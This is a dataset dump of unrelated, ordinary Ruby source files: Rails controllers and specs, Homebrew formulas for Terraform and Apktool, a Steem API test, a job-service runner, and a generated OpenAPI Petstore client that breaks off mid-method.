hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
e8d370188d8e64332251a6dbe30109337b307728 | 1,735 | class ApplicationController < ActionController::API
rescue_from(ActionController::UnpermittedParameters) do |pme|
render json: { error: { unknown_parameters: pme.params } },
status: :bad_request
end
def cost_validations
params.permit(:origin, :destination, :weight)
errors = []
params.each {|key, value| if value.blank? then errors << "Error: Parameter #{key} is empty." end}
unless params[:origin] =~ /[[:alpha:]]/ then errors << "Error: Parameter origin must exist and be a letter." end
unless params[:destination] =~ /[[:alpha:]]/ then errors << "Error: Parameter destination must exist and be a letter." end
unless params[:weight] =~ /[[:digit:]]/ then errors << "Error: Parameter weight must be a number." end
unless params[:weight].to_f > 0 && params[:weight].to_f <= 50 then errors << "Weight must be positive or maximum 50." end
if errors.any? then render json: errors, status: :bad_request end
end
def path_validations
params.permit(:source, :destination, :distance)
errors = []
params.each {|key, value| if value.blank? then errors << "Error: Parameter #{key} is empty." end}
unless params[:source] =~ /[[:alpha:]]/ then errors << "Error: Parameter source must exist and be a letter." end
unless params[:destination] =~ /[[:alpha:]]/ then errors << "Error: Parameter destination must exist and be a letter." end
unless params[:distance] =~ /[[:digit:]]/ then errors << "Error: Parameter distance must be a number." end
unless params[:distance].to_f > 0 && params[:distance].to_f <= 100000 then errors << "Distance must be positive or maximum 100000." end
if errors.any? then render json: errors, status: :bad_request end
end
end
| 59.827586 | 139 | 0.680692 |
5d386a52683d58c6e89f22c3129fd042fc7e3e34 | 2,255 | module YARD::Cov
# A base class for an ordered set
class OrderedSet
include Concord.new(:entries, :index), Enumerable
# Returns the OrderedSet instance
#
# @param [Array] entries
# optional entries
#
# @return [YARD::Cov::OrderedSet]
# the ordered set instance
#
# @api private
def initialize(entries = nil)
super([], {})
merge(entries) if entries
end
# Append to the OrderedSet
#
# @param [Object] entry
# the object to append
#
# @return [YARD::Cov::OrderedSet]
# returns self
#
# @api private
def <<(entry)
unless include?(entry)
@index[entry] = length
entries << entry
end
self
end
# Merge in another OrderedSet
#
# @param [#each] other
# the other ordered set
#
# @return [YARD::Cov::OrderedSet]
# returns self
#
# @api private
def merge(other)
other.each { |entry| self << entry }
self
end
# Iterate over each entry
#
# @yield [entry]
# yield to the entry
#
# @yieldparam [Object] entry
# an entry in the ordered set
#
# @return [YARD::Cov::OrderedSet]
# returns self
#
# @api private
def each(&block)
entries.each(&block)
self
end
# Check if there are any entries
#
# @return [Boolean]
# true if there are no entries, false if there are
#
# @api private
def empty?
entries.empty?
end
# The number of entries
#
# @return [Integer]
# number of entries
#
# @api private
def length
entries.length
end
# Check if the entry exists in the set
#
# @param [Object] entry
# the entry to test for
#
# @return [Boolean]
# true if the entry exists in the set, false if not
#
# @api private
def include?(entry)
@index.key?(entry)
end
# Return the index for the entry in the set
#
# @param [Object] entry
# the entry to check the set for
#
# @return [Integer, nil]
# the index for the entry, or nil if it does not exist
#
# @api private
def index(entry)
@index[entry]
end
end
end
| 19.439655 | 60 | 0.552106 |
61d42f1c18208689f04f89bc5e12d091d81510fd | 2,531 | # frozen_string_literal: true
require 'rails_helper'
# rubocop: disable Metrics/BlockLength
RSpec.describe '/item', type: :request do
let(:user) { create :user }
let(:item) { create :item, user: user }
let(:valid_attributes) { attributes_for :item, user: user }
let(:invalid_attributes) { attributes_for :invalid_item, user: user }
let(:valid_headers) { user.create_new_auth_token }
describe 'GET /index' do
it 'renders a successful response' do
get api_items_url, headers: valid_headers, as: :json
expect(response).to have_http_status(:ok)
end
end
describe 'POST /create' do
context 'with valid parameters' do
it 'creates a new Item' do
expect do
post api_item_url,
params: { item: valid_attributes },
headers: valid_headers,
as: :json
end.to change(Item, :count).by(1)
end
it 'renders a JSON response with the new item' do
post api_item_url,
params: { item: valid_attributes },
headers: valid_headers,
as: :json
expect(response).to have_http_status(:created)
expect(response.content_type).to match(a_string_including('application/json'))
end
end
context 'with invalid parameters' do
it 'does not create a new Item' do
expect do
post api_item_url,
params: { item: invalid_attributes },
headers: valid_headers,
as: :json
end.to change(Item, :count).by(0)
end
it 'renders a JSON response with errors for the new item' do
post api_item_url,
params: { item: invalid_attributes },
headers: valid_headers,
as: :json
expect(response).to have_http_status(:unprocessable_entity)
expect(response.content_type).to eq('application/json; charset=utf-8')
end
end
context 'with user not logged in' do
it 'does not create a new Item' do
expect do
post api_item_url,
params: { item: valid_attributes },
headers: {},
as: :json
end.to change(Item, :count).by(0)
end
it 'renders a JSON response with errors for the new item' do
post api_item_url,
params: { item: valid_attributes },
headers: {},
as: :json
expect(response).to have_http_status(:unauthorized)
end
end
end
end
# rubocop:enable Metrics/BlockLength
| 30.130952 | 86 | 0.602924 |
38a882a65987000127d3dafdaae416c394decce2 | 2,645 | # encoding: utf-8
# This file is autogenerated. Do not edit it manually.
# If you want change the content of this file, edit
#
# /spec/fixtures/responses/whois.cira.ca/status_available.expected
#
# and regenerate the tests with the following rake task
#
# $ rake spec:generate
#
require 'spec_helper'
require 'whois/record/parser/whois.cira.ca.rb'
describe Whois::Record::Parser::WhoisCiraCa, "status_available.expected" do
subject do
file = fixture("responses", "whois.cira.ca/status_available.txt")
part = Whois::Record::Part.new(body: File.read(file))
described_class.new(part)
end
describe "#disclaimer" do
it do
expect(subject.disclaimer).to eq("Use of CIRA's WHOIS service is governed by the Terms of Use in its Legal\nNotice, available at http://www.cira.ca/legal-notice/?lang=en\n\n(c) 2014 Canadian Internet Registration Authority, (http://www.cira.ca/)")
end
end
describe "#domain" do
it do
expect(subject.domain).to eq("u34jedzcq.ca")
end
end
describe "#domain_id" do
it do
expect { subject.domain_id }.to raise_error(Whois::AttributeNotSupported)
end
end
describe "#status" do
it do
expect(subject.status).to eq(:available)
end
end
describe "#available?" do
it do
expect(subject.available?).to eq(true)
end
end
describe "#registered?" do
it do
expect(subject.registered?).to eq(false)
end
end
describe "#created_on" do
it do
expect(subject.created_on).to eq(nil)
end
end
describe "#updated_on" do
it do
expect(subject.updated_on).to eq(nil)
end
end
describe "#expires_on" do
it do
expect(subject.expires_on).to eq(nil)
end
end
describe "#registrar" do
it do
expect(subject.registrar).to eq(nil)
end
end
describe "#registrant_contacts" do
it do
expect(subject.registrant_contacts).to be_a(Array)
expect(subject.registrant_contacts).to eq([])
end
end
describe "#admin_contacts" do
it do
expect(subject.admin_contacts).to be_a(Array)
expect(subject.admin_contacts).to eq([])
end
end
describe "#technical_contacts" do
it do
expect(subject.technical_contacts).to be_a(Array)
expect(subject.technical_contacts).to eq([])
end
end
describe "#nameservers" do
it do
expect(subject.nameservers).to be_a(Array)
expect(subject.nameservers).to eq([])
end
end
describe "#valid?" do
it do
expect(subject.valid?).to eq(true)
end
end
describe "#invalid?" do
it do
expect(subject.invalid?).to eq(false)
end
end
end
| 24.266055 | 253 | 0.671078 |
edd117bfc4c2d1e97dca40b16777d62a16ff8f40 | 492 | class RubocopWrapper
def initialize(working_directory)
@working_directory = working_directory
end
def analyze_code
Dir.chdir(@working_directory) do
command = ['rubocop']
command.concat(['--format', 'json', '--out', json_file_path, '--force-exclusion'])
passed = system(*command)
OpenStruct.new(passed: passed, result: File.read(json_file_path))
end
end
def json_file_path
@json_file_path ||= "#{@working_directory}/results.json"
end
end
| 24.6 | 88 | 0.689024 |
6a469a316cfad26c37ddd14792f5842b2ca766ff | 1,114 | require 'rails_helper'
feature "User edits his account" do
given(:user) { create(:user) }
before do
sign_in user
visit user_settings_path(user)
end
scenario "with invalid informations" do
fill_in 'Username', with: ''
click_on 'Update'
expect(page).to have_content "Username can't be blank"
fill_in 'Current password', with: user.password
fill_in 'New password', with: "newone"
fill_in 'New password confirmation', with: "wrong"
click_on 'Update password'
expect(page).to have_content "Password confirmation doesn't match Password"
end
scenario "with valid informations" do
fill_in 'Username', with: 'NewUsername'
click_on 'Update'
expect(page).to have_content "Account updated"
fill_in 'Current password', with: user.password
fill_in 'New password', with: "newpassword"
fill_in 'New password confirmation', with: "newpassword"
click_on 'Update password'
expect(page).to have_content "Account updated"
sign_out
sign_in_with 'NewUsername', 'newpassword'
expect_user_to_be_signed_in
end
end
| 27.85 | 79 | 0.701077 |
3882f2f64072fc16a7c366e0e8e2eb308984ffc3 | 3,362 | require "language/go"
class Terraform < Formula
desc "Tool to build, change, and version infrastructure"
homepage "https://www.terraform.io/"
url "https://github.com/hashicorp/terraform/archive/v0.9.11.tar.gz"
sha256 "400fbf7c65a5f4b599d1b3d20db8ad9d45930a80ce3abf14aa7ed56eac22b3fb"
head "https://github.com/hashicorp/terraform.git"
bottle do
cellar :any_skip_relocation
sha256 "81fb83c4299e7eedebf5ef6bc957dd386849cae929fde6236eda424169ee3d4c" => :sierra
sha256 "aae80c30f9302b7b4ef97e033e3252b3f508eeb9ea8727e169473b5045350999" => :el_capitan
sha256 "6ab38259438f7e7cd753c770f6f83a87dd1e9ed0999b1ba23bd1e5568e9754c2" => :yosemite
end
depends_on "go" => :build
conflicts_with "tfenv", :because => "tfenv symlinks terraform binaries"
go_resource "github.com/mitchellh/gox" do
url "https://github.com/mitchellh/gox.git",
:revision => "c9740af9c6574448fd48eb30a71f964014c7a837"
end
go_resource "github.com/mitchellh/iochan" do
url "https://github.com/mitchellh/iochan.git",
:revision => "87b45ffd0e9581375c491fef3d32130bb15c5bd7"
end
go_resource "github.com/kisielk/errcheck" do
url "https://github.com/kisielk/errcheck.git",
:revision => "23699b7e2cbfdb89481023524954ba2aeff6be90"
end
go_resource "github.com/kisielk/gotool" do
url "https://github.com/kisielk/gotool.git",
:revision => "0de1eaf82fa3f583ce21fde859f1e7e0c5e9b220"
end
go_resource "golang.org/x/tools" do
url "https://go.googlesource.com/tools.git",
:revision => "5682db0e919ed9cfc6f52ac32e170511a106eb3b"
end
def install
ENV["GOPATH"] = buildpath
ENV.prepend_create_path "PATH", buildpath/"bin"
dir = buildpath/"src/github.com/hashicorp/terraform"
dir.install buildpath.children - [buildpath/".brew_home"]
Language::Go.stage_deps resources, buildpath/"src"
%w[src/github.com/mitchellh/gox src/golang.org/x/tools/cmd/stringer
src/github.com/kisielk/errcheck].each do |path|
cd(path) { system "go", "install" }
end
cd dir do
# v0.6.12 - source contains tests which fail if these environment variables are set locally.
ENV.delete "AWS_ACCESS_KEY"
ENV.delete "AWS_SECRET_KEY"
arch = MacOS.prefer_64_bit? ? "amd64" : "386"
ENV["XC_OS"] = "darwin"
ENV["XC_ARCH"] = arch
system "make", "test", "vet", "bin"
bin.install "pkg/darwin_#{arch}/terraform"
zsh_completion.install "contrib/zsh-completion/_terraform"
prefix.install_metafiles
end
end
test do
minimal = testpath/"minimal.tf"
minimal.write <<-EOS.undent
variable "aws_region" {
default = "us-west-2"
}
variable "aws_amis" {
default = {
eu-west-1 = "ami-b1cf19c6"
us-east-1 = "ami-de7ab6b6"
us-west-1 = "ami-3f75767a"
us-west-2 = "ami-21f78e11"
}
}
# Specify the provider and access details
provider "aws" {
access_key = "this_is_a_fake_access"
secret_key = "this_is_a_fake_secret"
region = "${var.aws_region}"
}
resource "aws_instance" "web" {
instance_type = "m1.small"
ami = "${lookup(var.aws_amis, var.aws_region)}"
count = 4
}
EOS
system "#{bin}/terraform", "graph", testpath
end
end
| 31.420561 | 98 | 0.672219 |
b993ae9d95a7847382973c88cd94ffbf083db894 | 1,576 | require 'test_helper'
class UsersSignupTest < ActionDispatch::IntegrationTest
def setup
ActionMailer::Base.deliveries.clear
end
test "invalid signup information" do
get signup_path
assert_no_difference 'User.count' do
post users_path, params: { user: { name: "",
email: "user@invalid",
password: "foo",
password_confirmation: "bar" } }
end
assert_template 'users/new'
end
test "valid signup information with account activation" do
get signup_path
assert_difference 'User.count', 1 do
post users_path, params: { user: { name: "Example User",
email: "[email protected]",
password: "password",
password_confirmation: "password" } }
end
assert_equal 1, ActionMailer::Base.deliveries.size
user = assigns(:user)
assert_not user.activated?
# 尝试在激活之前登录
log_in_as(user)
assert_not is_logged_in?
# 激活令牌无效
get edit_account_activation_path("invalid token", email: user.email)
assert_not is_logged_in?
# 令牌有效,电子邮件地址不对
get edit_account_activation_path(user.activation_token, email: 'wrong')
assert_not is_logged_in?
# 激活令牌有效
get edit_account_activation_path(user.activation_token, email: user.email)
assert user.reload.activated?
follow_redirect!
assert_template 'users/show'
assert is_logged_in?
end
end
| 32.833333 | 78 | 0.60533 |
01b63fdb824f70a4fa24fe5791789be00c603922 | 987 | require 'current_api_client'
module SweepTrashedCollections
extend CurrentApiClient
def self.sweep_now
act_as_system_user do
Collection.unscoped.
where('delete_at is not null and delete_at < statement_timestamp()').
destroy_all
Collection.unscoped.
where('is_trashed = false and trash_at < statement_timestamp()').
update_all('is_trashed = true')
end
end
def self.sweep_if_stale
return if Rails.configuration.trash_sweep_interval <= 0
exp = Rails.configuration.trash_sweep_interval.seconds
need = false
Rails.cache.fetch('SweepTrashedCollections', expires_in: exp) do
need = true
end
if need
Thread.new do
Thread.current.abort_on_exception = false
begin
sweep_now
rescue => e
Rails.logger.error "#{e.class}: #{e}\n#{e.backtrace.join("\n\t")}"
ensure
ActiveRecord::Base.connection.close
end
end
end
end
end
| 25.973684 | 77 | 0.656535 |
ac8d74afc25ff750becab8aac6cd95d08a284821 | 628 | require "rails_helper"
RSpec.describe ForumsController, :type => :controller do
describe "GET #index" do
it "responds successfully with an HTTP 200 status code" do
get :index
expect(response).to be_success
expect(response).to have_http_status(200)
end
it "renders the forums template" do
get :index
expect(response).to render_template("forums")
end
it "loads all of the forums into @forums" do
forum1, forum2 = Forum.create!(name: "one"), Forum.create!(name: "two")
get :index
expect(assigns(:forums)).to match_array([forum1, forum2])
end
end
end
| 25.12 | 77 | 0.667197 |
7abc5790a62ab88fe57c39e8368a6169adb63ba1 | 137 | # frozen_string_literal: true
# typed: strict
class AbstractClassPackage < PackageSpec
export AbstractClassPackage::AbstractClass
end
| 19.571429 | 44 | 0.832117 |
189b983f30f4ac5391dc5ce15946d1e5a5241376 | 1,698 | class ReferentialCloning < ApplicationModel
include AASM
belongs_to :source_referential, class_name: 'Referential'
belongs_to :target_referential, class_name: 'Referential'
after_commit :clone, on: :create
def clone
enqueue_job :clone_with_status!
end
def clone_with_status!
run!
clone!
successful!
rescue Exception => e
Chouette::Safe.capture "Clone ##{id} failed", e
failed!
end
def worker_died
failed!
Rails.logger.error "#{self.class.name} #{self.inspect} failed due to worker being dead"
end
def clone!
Chouette::Benchmark.measure("referential.clone", source: source_referential.id, target: target_referential.id) do
source_referential.schema.clone_to(target_referential.schema)
end
clean
end
def clean
CleanUp.new(referential: target_referential).clean
end
private
aasm column: :status do
state :new, :initial => true
state :pending
state :successful
state :failed
event :run, after: :update_started_at do
transitions :from => [:new, :failed], :to => :pending
end
event :successful, after: :update_ended_at do
after do
target_referential.update_attribute(:ready, true)
target_referential.rebuild_cross_referential_index!
end
transitions :from => [:pending, :failed], :to => :successful
end
event :failed, after: :update_ended_at do
transitions :from => [:new, :pending], :to => :failed
after do
target_referential&.failed!
end
end
end
def update_started_at
update_attribute(:started_at, Time.now)
end
def update_ended_at
update_attribute(:ended_at, Time.now)
end
end
| 23.260274 | 117 | 0.689046 |
33e6e6ec1d4966734283d0b3f6fd911042e13ed6 | 887 | class Apktool < Formula
desc "Tool for reverse engineering 3rd party, closed, binary Android apps"
homepage "https://github.com/iBotPeaches/Apktool"
url "https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.3.2.jar", :using => :nounzip
sha256 "648dba910d49365d78665f7060935802f4187d5529064e16caf34eee06cb5207"
bottle :unneeded
resource "sample.apk" do
url "https://github.com/downloads/stephanenicolas/RoboDemo/robodemo-sample-1.0.1.apk", :using => :nounzip
sha256 "bf3ec04631339538c8edb97ebbd5262c3962c5873a2df9022385156c775eb81f"
end
def install
libexec.install "apktool_#{version}.jar"
bin.write_jar_script libexec/"apktool_#{version}.jar", "apktool"
end
test do
resource("sample.apk").stage do
system bin/"apktool", "d", "robodemo-sample-1.0.1.apk"
system bin/"apktool", "b", "robodemo-sample-1.0.1"
end
end
end
| 34.115385 | 109 | 0.738444 |
e91c5bb4d6b0e1df2b0c20e764a80a6eaa58bb81 | 483 | module Giphy
class Artist
def self.build_batch_from(array)
array.map { |artist| new(artist) }
end
def initialize(hash)
@hash = hash
end
def username
hash.fetch('username')
end
def avatar
URI(hash.fetch('avatar'))
end
def website
URI(hash.fetch('website'))
end
def name
hash.fetch('name')
end
def count
hash.fetch('count').to_i
end
private
attr_reader :hash
end
end
| 13.416667 | 40 | 0.573499 |
381b16a042dcd23b3c3262c52b69a472da6005f6 | 529 | module Pantograph
module Actions
class DebugAction < Action
def self.run(params)
puts("Lane Context".green)
puts(Actions.lane_context)
end
def self.description
'Print out an overview of the lane context values'
end
def self.is_supported?(platform)
true
end
def self.example_code
[
'debug'
]
end
def self.category
:misc
end
def self.author
'KrauseFx'
end
end
end
end
| 16.030303 | 58 | 0.548204 |
b95f00967381c42a2dd34388661b3153a04beeba | 1,479 | require 'open-uri'
module Deliver
# Verifies, the user runs the latest version of this gem
class UpdateChecker
# This method will check if the latest version is installed and show a warning if that's not the case
def self.verify_latest_version
if self.update_available?
v = fetch_latest
puts '#######################################################################'.green
puts "# Deliver #{v} is available.".green
puts "# It is recommended to use the latest version.".green
puts "# Update using '(sudo) gem update deliver'.".green
puts "# To see what's new, open https://github.com/KrauseFx/deliver/releases.".green
puts '#######################################################################'.green
return true
end
false
end
# Is a new official release available (this does not include pre-releases)
def self.update_available?
begin
latest = fetch_latest
if latest and Gem::Version.new(latest) > Gem::Version.new(current_version)
return true
end
rescue => ex
Helper.log.error("Could not check if 'deliver' is up to date.")
end
return false
end
# The currently used version of this gem
def self.current_version
Deliver::VERSION
end
private
def self.fetch_latest
JSON.parse(open("http://rubygems.org/api/v1/gems/deliver.json").read)["version"]
end
end
end | 33.613636 | 105 | 0.580798 |
7ac2982c33361b54aa6069dda4c9f6f1075a173e | 7,135 | require 'test_helper'
module Steem
class ApiTest < Steem::Test
METHOD_NAMES_1_ARG = %i(get_account_votes get_block get_block_header
get_blog_authors get_comment_discussions_by_payout
get_conversion_requests get_discussions_by_active
get_discussions_by_blog get_discussions_by_cashout
get_discussions_by_children get_discussions_by_comments
get_discussions_by_created get_discussions_by_feed
get_discussions_by_hot get_discussions_by_promoted
get_discussions_by_trending get_discussions_by_votes
get_follow_count get_key_references get_open_orders
get_owner_history get_post_discussions_by_payout
get_potential_signatures get_recovery_request get_reward_fund
get_savings_withdraw_from get_savings_withdraw_to get_state
get_tags_used_by_author get_transaction_hex
get_witness_by_account verify_authority)
METHOD_NAMES_2_ARGS = %i(get_account_reputations
get_active_votes get_content get_content_replies get_escrow
get_expiring_vesting_delegations get_ops_in_block
get_reblogged_by get_required_signatures get_trending_tags
get_withdraw_routes get_witnesses_by_vote lookup_accounts
lookup_witness_accounts verify_account_authority)
METHOD_NAMES_3_ARGS = %i(get_account_history get_blog get_blog_entries
get_feed get_feed_entries get_market_history get_replies_by_last_update
get_trade_history get_vesting_delegations)
METHOD_NAMES_4_ARGS = %i(get_discussions_by_author_before_date get_followers
get_following)
METHOD_NAMES_UNIMPLEMENTED = %i(get_account_references)
METHOD_NAMES_1_ARG_NO_ERROR = %i(get_accounts get_witnesses
lookup_account_names)
METHOD_NAMES_0_ARGS = %i(get_account_count get_active_witnesses
get_chain_properties get_config get_current_median_history_price
get_dynamic_global_properties get_feed_history get_hardfork_version
get_market_history_buckets get_next_scheduled_hardfork get_order_book
get_recent_trades get_ticker get_trade_history)
# Plugins not enabled, or similar.
SKIP_METHOD_NAMES = %i(get_transaction)
ALL_METHOD_NAMES = METHOD_NAMES_1_ARG + METHOD_NAMES_2_ARGS +
METHOD_NAMES_3_ARGS + METHOD_NAMES_4_ARGS + METHOD_NAMES_UNIMPLEMENTED +
METHOD_NAMES_1_ARG_NO_ERROR + METHOD_NAMES_0_ARGS + SKIP_METHOD_NAMES
def setup
@api = Api.new(url: TEST_NODE)
@jsonrpc = Jsonrpc.new(url: TEST_NODE)
@methods = @jsonrpc.get_api_methods[@api.class.api_name]
end
def test_api_class_name
assert_equal 'CondenserApi', Api::api_class_name
end
def test_unknown_api_name
assert_raises UnknownApiError, 'expect unknown api error' do
Steem::FakeApi.new
end
end
def test_dependency_injection
original_rpc_client_class = Api.default_rpc_client_class
Api.register default_rpc_client_class: RPC::HttpClient
assert_equal RPC::HttpClient, Api.default_rpc_client_class
Api.register default_rpc_client_class: original_rpc_client_class
assert_equal original_rpc_client_class, Api.default_rpc_client_class
end
def test_inspect
assert_equal "#<CondenserApi [@chain=steem, @methods=<84 elements>]>", @api.inspect
end
def test_inspect_testnet
vcr_cassette("#{@api.class.api_name}_testnet") do
api = Api.new(chain: :test)
assert_equal "#<CondenserApi [@chain=test, @methods=<84 elements>]>", api.inspect
end
end
def test_unsupported_chain
vcr_cassette("#{@api.class.api_name}_unsupported_chain") do
assert_raises UnsupportedChainError do
Api.new(chain: :golos)
end
end
end
def test_method_missing
assert_raises NoMethodError do
@api.bogus
end
end
def test_all_respond_to
@methods.each do |key|
assert @api.respond_to?(key), "expect rpc respond to #{key}"
end
end
def test_all_methods
vcr_cassette("#{@api.class.api_name}_all_methods") do
@methods.each do |key|
case key
when :broadcast_block then
assert_raises BlockTooOldError, "expect void arguments to raise BlockTooOldError for: #{key}" do
assert @api.send key, {}
end
when :broadcast_transaction then
assert_raises EmptyTransactionError, "expect void arguments to raise EmptyTransactionError for: #{key}" do
assert @api.send key, {
ref_block_num: 0,
ref_block_prefix: 0,
expiration: "1970-01-01T00:00:00",
operations: [],
extensions: [],
signatures: []
}
end
when :broadcast_transaction_synchronous then
assert_raises EmptyTransactionError, "expect void arguments to raise EmptyTransactionError for: #{key}" do
assert @api.send key, {
ref_block_num: 0,
ref_block_prefix: 0,
expiration: "1970-01-01T00:00:00",
operations: [],
extensions: [],
signatures: []
}
end
when *METHOD_NAMES_1_ARG
then
assert_raises Steem::ArgumentError, "expect 1 argument to raise ArgumentError for: #{key}" do
assert @api.send key, [nil]
end
when *METHOD_NAMES_2_ARGS
then
assert_raises Steem::ArgumentError, "expect 2 arguments to raise ArgumentError for: #{key}" do
assert @api.send key, [nil, nil]
end
when *METHOD_NAMES_3_ARGS
then
assert_raises Steem::ArgumentError, "expect 3 arguments to raise ArgumentError for: #{key}" do
assert @api.send key, [nil, nil, nil]
end
when *METHOD_NAMES_4_ARGS
then
assert_raises Steem::ArgumentError, "expect 4 arguments to raise ArgumentError for: #{key}" do
assert @api.send key, [nil, nil, nil, nil]
end
when *METHOD_NAMES_UNIMPLEMENTED then # skip
when *METHOD_NAMES_1_ARG_NO_ERROR
then
assert @api.send(key, [nil]), "expect 1 argument not to raise for: ${key}"
when *SKIP_METHOD_NAMES then # skip
else; assert @api.send(key), "expect no arguments not to raise for: ${key}"
end
end
end
end
def test_get_account_count
vcr_cassette('condenser_api_get_account_count') do
@api.get_account_count do |count|
refute_nil count, 'did not expect nil count'
end
end
end
def test_get_content_wrong_arguments
vcr_cassette('condenser_api_get_content_wrong_arguments') do
assert_raises Steem::ArgumentError, 'expect argument error' do
@api.get_content
end
assert_raises Steem::ArgumentError, 'expect argument error' do
@api.get_content(nil)
end
end
end
end
end
| 37.356021 | 118 | 0.676524 |
624ddc991cd6a5eab9a1c56e3f0b931ef9a3e954 | 1,357 | class Job::Service::Runner
def initialize
@lock = Mutex.new
@condition = ConditionVariable.new
@stop = false
end
def run
name = Job::Service.config.name
Job::Service.advertise(name)
rescue_with(ensure_p: ->{ Job::Service.unadvertise(name) }) do
service_loop
end
end
def shutdown
@lock.synchronize do
@stop = true
@condition.signal
end
end
private
def service_loop
return execute_loop if Job::Service.config.mode != 'service'
wait = Job::Service.config.polling.interval || 5
until @stop
execute_loop
@lock.synchronize do
break if @stop
@condition.wait(@lock, wait)
end
end
end
def execute_loop
until @stop
task = dequeue_task
break unless task
rescue_with(ensure_p: -> { task.destroy }) do
task.execute
end
end
nil
end
def dequeue_task
Job::Service.config.polling.queues.each do |queue_name|
task = Job::Task.dequeue(queue_name)
return task if task
end
nil
end
def rescue_with(exception_classes: [Exception], ensure_p: nil)
begin
yield
rescue *exception_classes => e
Rails.logger.fatal("Failed: #{e.class} (#{e.message}):\n #{e.backtrace.join("\n ")}")
nil
ensure
ensure_p.call if ensure_p
end
end
end
| 18.847222 | 93 | 0.622697 |
265a387653aa30bd0d303e008e21f4d09b369a70 | 18,583 | =begin
#OpenAPI Petstore
#This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 4.1.0-SNAPSHOT
=end
require 'cgi'
module Petstore
class UserApi
attr_accessor :api_client
def initialize(api_client = ApiClient.default)
@api_client = api_client
end
# Create user
# This can only be done by the logged in user.
# @param user [User] Created user object
# @param [Hash] opts the optional parameters
# @return [nil]
def create_user(user, opts = {})
create_user_with_http_info(user, opts)
nil
end
# Create user
# This can only be done by the logged in user.
# @param user [User] Created user object
# @param [Hash] opts the optional parameters
# @return [Array<(nil, Integer, Hash)>] nil, response status code and response headers
def create_user_with_http_info(user, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: UserApi.create_user ...'
end
# verify the required parameter 'user' is set
if @api_client.config.client_side_validation && user.nil?
fail ArgumentError, "Missing the required parameter 'user' when calling UserApi.create_user"
end
# resource path
local_var_path = '/user'
# query parameters
query_params = opts[:query_params] || {}
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Content-Type'
header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:body] || @api_client.object_to_http_body(user)
# return_type
return_type = opts[:return_type]
# auth_names
auth_names = opts[:auth_names] || []
new_options = opts.merge(
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: UserApi#create_user\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Creates list of users with given input array
# @param user [Array<User>] List of user object
# @param [Hash] opts the optional parameters
# @return [nil]
def create_users_with_array_input(user, opts = {})
create_users_with_array_input_with_http_info(user, opts)
nil
end
# Creates list of users with given input array
# @param user [Array<User>] List of user object
# @param [Hash] opts the optional parameters
# @return [Array<(nil, Integer, Hash)>] nil, response status code and response headers
def create_users_with_array_input_with_http_info(user, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: UserApi.create_users_with_array_input ...'
end
# verify the required parameter 'user' is set
if @api_client.config.client_side_validation && user.nil?
fail ArgumentError, "Missing the required parameter 'user' when calling UserApi.create_users_with_array_input"
end
# resource path
local_var_path = '/user/createWithArray'
# query parameters
query_params = opts[:query_params] || {}
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Content-Type'
header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:body] || @api_client.object_to_http_body(user)
# return_type
return_type = opts[:return_type]
# auth_names
auth_names = opts[:auth_names] || []
new_options = opts.merge(
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: UserApi#create_users_with_array_input\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Creates list of users with given input array
# @param user [Array<User>] List of user object
# @param [Hash] opts the optional parameters
# @return [nil]
def create_users_with_list_input(user, opts = {})
create_users_with_list_input_with_http_info(user, opts)
nil
end
# Creates list of users with given input array
# @param user [Array<User>] List of user object
# @param [Hash] opts the optional parameters
# @return [Array<(nil, Integer, Hash)>] nil, response status code and response headers
def create_users_with_list_input_with_http_info(user, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: UserApi.create_users_with_list_input ...'
end
# verify the required parameter 'user' is set
if @api_client.config.client_side_validation && user.nil?
fail ArgumentError, "Missing the required parameter 'user' when calling UserApi.create_users_with_list_input"
end
# resource path
local_var_path = '/user/createWithList'
# query parameters
query_params = opts[:query_params] || {}
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Content-Type'
header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:body] || @api_client.object_to_http_body(user)
# return_type
return_type = opts[:return_type]
# auth_names
auth_names = opts[:auth_names] || []
new_options = opts.merge(
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: UserApi#create_users_with_list_input\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
# Delete user
# This can only be done by the logged in user.
# @param username [String] The name that needs to be deleted
# @param [Hash] opts the optional parameters
# @return [nil]
def delete_user(username, opts = {})
delete_user_with_http_info(username, opts)
nil
end
# Delete user
# This can only be done by the logged in user.
# @param username [String] The name that needs to be deleted
# @param [Hash] opts the optional parameters
# @return [Array<(nil, Integer, Hash)>] nil, response status code and response headers
def delete_user_with_http_info(username, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: UserApi.delete_user ...'
end
# verify the required parameter 'username' is set
